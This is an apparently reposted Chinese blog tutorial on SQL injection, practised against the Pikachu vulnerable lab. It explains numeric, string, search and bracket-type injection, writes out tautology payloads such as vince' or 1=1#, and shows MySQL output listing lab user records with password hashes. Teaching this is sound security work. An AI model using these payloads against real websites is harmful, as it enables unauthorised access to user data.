sql注入一
Posted 网络安全先锋官
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入一相关的知识,希望对你有一定的参考价值。
Sql注入
目录
Sql注入 1
Sql注入? 2
Sql注入的原理 2
确定Web应用程序所使用的技术 2
查找可以用于注射的用户输入 2
挖sql前需要做的准备 3
1.1显示友好HTTP错误信息 3
1.2手工检测SQL注入点 3
1.1 注入分类 4
1.1 数字型注入 4
1.2 字符型注入 5
1.3 搜索型注入 7
1.4 XX型注入 8
1.2 注入提交方式 9
1.1 get提交 10
1.2 post提交 10
1.3 cookie提交 11
Sql注入?
SQL注入式攻击技术,一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因,是由于程序员在编写Web程序时,没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息,甚至执行危险的代码或系统命令。
虽然SQL注入攻击技术早已出现,但是时至今日仍然有很大一部分网站存在SQL注入漏洞,在本章开篇中进行的入侵检测中就发现了各大门户网站同样存在SQL注入漏洞,更别说一些小网站了。由于SQL漏润存在的普遍性,因此SQL入侵攻击技术往往成为黑客入侵攻击网站渗透内部服务的首选技术,其危害性非常大。
下面对目前的各种流行SQL注入攻击技术进行总结,以便网络安全管理人员和工作者更加深入地了解这种攻击与防御方法。
Sql注入的原理
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本、平台无关)。
总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:
确定Web应用程序所使用的技术
注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。
查找可以用于注射的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获
挖sql前需要做的准备
1.1显示友好HTTP错误信息
在进行SQL注入攻击时,需要利用到从服务器返回的各种出错信息,但是在浏览器中默认设置是不显示详细错误返回信息的,不论服务器返回什么错误,都只能看到“HTTP 500服务器错误”的窗口(图1)。因此,每次进行SQL注入攻击测试前,首先要取消IE浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息。
打开IE浏览器,选择菜单“工具”一“Internet选项”命令,打开“Internet选项”对话框。打开“高级”选项卡,在“设置”列表框中找到“浏览组”,取消勾选“显示友好
1.2手工检测SQL注入点
最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。
http://www.*****.com/***.asp?id=xx (ASP注入)
或者下面的链接。
http://www.*****.com/***.php?id=xx (php注入)
http://www.*****.com/***.jsp?id=xx (jsp注入)
http://www.*****.com/***.aspx?id=xx (aspx注入)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)
http://www.*****.com/index/new/id/8 伪静态
http://www. *****.com/index/new/php-8.html伪静态
其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。
1.“单引号”法
2. 1=1和1=2法
1.1注入分类
1.1 数字型注入
登录测试环境观察如下:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| bwapp |
| mysql |
| performance_schema |
| pikachu |
| test |
| test1 |
+--------------------+
7 rows in set (0.00 sec)
mysql> use pikachu
Database changed
mysql> show tables;
+-------------------+
| Tables_in_pikachu |
+-------------------+
| httpinfo |
| member |
| message |
| users |
| xssblind |
+-------------------+
5 rows in set (0.00 sec)
mysql> desc member; 查看member这个表的字段
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(66) | NO | | NULL | |
| pw | varchar(128) | NO | | NULL | |
| sex | char(10) | NO | | NULL | |
| phonenum | varchar(255) | NO | | NULL | |
| address | varchar(255) | NO | | NULL | |
| email | varchar(255) | NO | | NULL | |
+----------+------------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)
mysql> select username,email from member where id=1;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | vince@pikachu.com |
+----------+-------------------+
1 row in set (0.00 sec)
mysql> select username,email from member where id=1 or 1=1;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | vince@pikachu.com |
| allen | allen@pikachu.com |
| kobe | kobe@pikachu.com |
| grady | grady@pikachu.com |
| kevin | kevin@pikachu.com |
| lucy | lucy@pikachu.com |
| lili | lili@pikachu.com |
+----------+-------------------+
7 rows in set (0.00 sec)
发现输入or 1=1之后全部显示出来了,下面我们通过burp抓包输入一个or 1=1设置一个payload,点击提交后,在Render中查看结果。通过判断存在SQL注入,且为数字型注入,可以通过拼接SQL语句来实现注入。
1.2 字符型注入
打开pikachu平台,在SQL-Inject下选择字符型注入。输入在之前我们已经知道的一个id
我们发现需要输入字符串来完成查询。按照之前的思路我们写一个查询语句select id,email from member where username='vince' ;
在这个基础上进行拼接来写一个”万能密码“,按照之前的构想,拼写一个select id,email from member where username='vince' or 1=1 ;为了验证想法我们输入尝试以下
mysql> select id,email from member where username='vince';
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | vince@pikachu.com |
+----+-------------------+
1 row in set (0.00 sec)
mysql> select id,email from member where username='vince or 1=1';
Empty set (0.00 sec)
我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为select id,email from member where username='vince‘ or 1=1#';我们回到pikachu平台输入vince‘ or 1=1#
mysql> select id,email from member where username='vince' or 1=1#';
-> ;
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | vince@pikachu.com |
| 2 | allen@pikachu.com |
| 3 | kobe@pikachu.com |
| 4 | grady@pikachu.com |
| 5 | kevin@pikachu.com |
| 6 | lucy@pikachu.com |
| 7 | lili@pikachu.com |
+----+-------------------+
7 rows in set (0.00 sec)
1.3 搜索型注入
打开pikachu平台,在SQL-Inject下选择搜索型注入,然后随意输入一个字母,能看到匹配出了对应的信息。按照SQL的模糊查询命令select * from 表名 where 字段名 like ‘%(对应值)%’;
,发现可以按照之前的思路来实现万能语句的拼接。
mysql> select * from member where username like '%vince%' or 1=1;
+----+----------+----------------------------------+------+-------------+-------
----------------+-------------------+
| id | username | pw | sex | phonenum | addres
s | email |
+----+----------+----------------------------------+------+-------------+-------
----------------+-------------------+
| 1 | vince | e10adc3949ba59abbe56e057f20f883e | boy | 18626545453 | chain
| vince@pikachu.com |
| 2 | allen | e10adc3949ba59abbe56e057f20f883e | boy | 13676767767 | nba 76
| allen@pikachu.com |
| 3 | kobe | e10adc3949ba59abbe56e057f20f883e | boy | 15988767673 | nba la
kes | kobe@pikachu.com |
| 4 | grady | e10adc3949ba59abbe56e057f20f883e | boy | 13676765545 | nba hs
| grady@pikachu.com |
| 5 | kevin | e10adc3949ba59abbe56e057f20f883e | boy | 13677676754 | Oklaho
ma City Thunder | kevin@pikachu.com |
| 6 | lucy | e10adc3949ba59abbe56e057f20f883e | girl | 12345678922 | usa
| lucy@pikachu.com |
| 7 | lili | e10adc3949ba59abbe56e057f20f883e | girl | 18656565545 | usa
| lili@pikachu.com |
+----+----------+----------------------------------+------+-------------+--
回到pikachu平台,将拼接语句写为%xxxx%'or 1=1 #%'
1.4 XX型注入
XX型是由于SQL语句拼接方式不同,注入语句如下:
mysql> select * from member where username=('xx') or 1=1;
回到pikachu平台,将拼接语句写为XX') or 1=1#
1.2注入提交方式
ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)
PHP: $_REQUEST(全部接受)、$_GET $_POST (接受post)、$_COOKIE(接受cookie)
1.1 get提交
1.2 post提交
可通过安装火狐浏览器插件(hackbar)或Burp工具来完成,如下图:
1.3 cookie提交
一般通Burp工具来完成,如下图:
如有侵权,错误等问题,及时联系/Q/V292771751
以上是关于sql注入一的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段